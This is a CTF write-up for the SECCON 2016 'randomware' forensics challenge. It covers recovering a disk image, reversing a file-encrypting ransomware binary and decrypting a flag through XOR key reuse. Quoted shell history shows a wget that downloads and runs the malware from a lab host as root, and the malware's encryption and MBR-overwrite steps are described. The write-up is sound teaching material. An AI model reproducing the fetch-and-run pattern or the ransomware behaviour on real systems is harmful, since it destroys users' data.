# [SECCON Quals CTF 2016](http://2016.seccon.jp/): [randomware](https://score-quals.seccon.jp/question/19a84b2eeb383263660420d7aa70372120b89771)
**Category:** Forensics**Points:** 300**Solves:** 38**Description:**
> randomware>> My PC suddenly got broken. Could you help me to recover it please?> NOTE: The disk can be virus-infected. DO NOT RUN any programs extracted from the disk outside of sandbox.>> [disk.qcow2.zip](http://files.quals.seccon.jp/disk.qcow2.zip)> Challenge files is huge, please download it first. Password will release after 60min.>> password: h9nn4c2955kik9qti9xphuxti
## writeup
A short, not so hard forensics challenge, but perhaps more reversingincluding basic crypto. Unzipping the challenge zip (with the providedpassword) it is a plain[qcow2](https://en.wikipedia.org/wiki/Qcow) image. It is a dense[copy-on-write](https://en.wikipedia.org/wiki/Copy-on-write)format. To deal with it easier, let us convert it to rawwith [`qemu-img`](https://linux.die.net/man/1/qemu-img)(included with [qemu](http://wiki.qemu.org/Main_Page):
```$ qemu-img convert disk.qcow2 disk.raw```
The output file looks like a raw disk image, butpartition table seems to be corrupted:
```$ file disk.raw disk.raw: DOS/MBR boot sector$ fdisk -l disk.rawDisk disk.raw: 1 GiB, 1073741824 bytes, 2097152 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x00000000```
Dumping the file shows lots of data, so let us try torecover that corrupted partition table (using thestandard recovery tool [TestDisk](http://www.cgsecurity.org/wiki/TestDisk)).Doing an "Analyse / Quick Search" with "Intel" partitiontype on the raw disk image immediately reveals thehealthy FAT32 partition. It is not important, butit can be written to the file.
![TestDisk](./screenshot_testdisk.png)
Now the disk image has been fixed, FAT32 partitionis available:```$ fdisk -l disk.raw Disk disk.raw: 1 GiB, 1073741824 bytes, 2097152 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0x00000000
Device     Boot Start     End Sectors    Size Id Typedisk.raw1  *       63 2088449 2088387 1019.7M  b W95 FAT32```
Mounting it is straightforward (it starts on sector 63,sector size is 512 bytes, so offset is `63*512=32256` (in bytes)):```# mount -t vfat -o offset=32256,ro disk.raw  mnt/```
Observing the structure it can be identified as a[Tiny Core Linux](http://tinycorelinux.net/welcome.html) system.The custom part of the system is probably in `/mydata.tgz`,so it should be the most interesting stuff for further investigation.
It contains a home directory for user `tc` with some basic (almostuseless) config folders, a `.mozilla` folder with a profile, andsome very interesting files in the home:```home/tc/.ash_historyhome/tc/getflaghome/tc/h1dd3n_s3cr3t_f14g.jpg```
Here we should not forget the challenge NOTE about virus-infection:the `getflag` is an ELF32 binary which must not be executed (outsidea sandbox!).
Dumping the history file:```tce-load -wil firefox-ESRexittce-load -i firefox-ESRfirefox 172.17.0.1wget http://172.17.0.1/getflag.bin -O getflag --user-agent="Chrome"./getflag chmod +x getflag ./getflag sudo ./getflag lsfirefox h1dd3n_s3cr3t_f14g.jpg ```
So the user invoked [`tce-load`](http://wiki.tinycorelinux.net/wiki:tce-load)and installed Firefox-ESR, downloaded `getflag` binary (from LAN)executed getflag (as root, probably not the best idea ;) ), and tried to open`h1dd3n_s3cr3t_f14g.jpg` in Firefox.
Unfortunately the jpeg file is a garbage.
### reversing the malware
The binary `getflag` is an ELF32, dynamically linked and fortunately notstripped binary:```$ file home/tc/getflag home/tc/getflag: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60e977599ec0a53c4406d8a9a941ce736aff9064, not stripped```
It is a short binary full of symbols, so basic usage of[r2](http://radare.org/r/) is more than enough to understand the malware.
![pdf @sym.main](./screenshot_r2.png)
So the malware (ranDomware) does the following:
1. Checks for user id (==`root`)2. `wget http://172.17.0.1/h1dd3n_s3cr3t_f14g.jpg`3. Creates `encrypt_key` with 0x400 bytes pulled from `/dev/urandom`4. Searches `/home/tc` recursively for files with suffix`.txt`, `.bin`, `.jpg`, `.jpeg`, `.png`, `.gif`, `.bmp`, `.tif`, `.tiff`,`.doc`, `.docx`, `.docm`, `.xls`, `.xlsx`, `.xlsm`, `.ppt`, `.pptx`, `.pptm`,`.odt`, `.odf`, `.xml`.5. Encrypts and overwrites the matching files by XORing somehow withthe random `encrypt_key`.6. And as a bonus, overwrites the MBR of the disk with a custom code. (WARNING: DO NOT TRY TO EXECUTE IT!!!)
### ranDomware vulnerability
In order to decrypt the encrypted `h1dd3n_s3cr3t_f14g.jpg`, therandom generated `encrypt_key` must be found somehow. It is notimpossible, because the malware XOR encrypts every file it foundswith exactly the same `encrypt_key`. Thus, if we find an encryptedfile (`C`) with known plaintext `P` (and with a size bigger thanthe key size (0x400 = 1024 byes)), the key can be calculatedtrivially:```encrypt_key = C[:0x400] ^ P[:0x400]```
### searching for known plaintext
There are possible encrypted `*.xml` files with known plaintext in`home/tc/.local/share/mime/packages/` but the size is too small.Fortunately there is an encrypted `blocklist.xml` file in theFirefox profile folder:```home/tc/.mozilla/firefox/wir5mrmb.default/blocklist.xml```
Now the original plaintext of `blocklist.xml` must be found.Probably it is part of the appropriate Firefox tarball.Reading `prefs.js` from the profile dir, the variable`gecko_mstone` identifies the version: `45.0`. Moreover,it is surely an[ESR](https://www.mozilla.org/en-US/firefox/organizations/faq/)according to the previously parsed `.ash_history` file above.
Browsing the[Firefox FTP release folder](https://ftp.mozilla.org/pub/firefox/releases/),the [45.0esr](https://ftp.mozilla.org/pub/firefox/releases/45.0esr/)version can be [downloaded](https://ftp.mozilla.org/pub/firefox/releases/45.0esr/linux-i686/en-US/firefox-45.0esr.tar.bz2).
Extracting the tarball `firefox/browser/blocklist.xml` matchesthe encrypted `blocklist.xml` size (207840 bytes), so it is almost sure,that the corresponding plaintext file has been found.
### Decrypting the flag
The following simple [Python3 script](./decrypt.py)calculates the XOR key from the plaintext andencrypted version of `blocklist.xml` and decrypts`h1dd3n_s3cr3t_f14g.jpg`:
```python#!/usr/bin/python3#
key = [b'\x00']*0x400enc = open('./home/tc/h1dd3n_s3cr3t_f14g.jpg', 'rb').read()dec = b''
f2 = 'blocklist.xml'c2 = open('./home/tc/.mozilla/firefox/wir5mrmb.default/' + f2, 'rb').read()p2 = open('./firefox/browser/' + f2, 'rb').read()
for i in range(len(key)):    key[i] = bytes([p2[i] ^ c2[i]])
for i in range(len(enc)):    dec += bytes([enc[i] ^ ord(key[i%len(key)])])
open('./f14g_decrypted.jpg', 'wb').write(dec)```
Displaying the output jpeg shows the flag:```SECCON{This is Virtual FAT too}```
![SECCON{This is Virtual FAT too}](./f14g_decrypted.jpg)
The challenge was completed in the awesome team[OpenToAll](https://ctftime.org/team/9135) which finished as[21st](http://ranking.quals.seccon.jp/).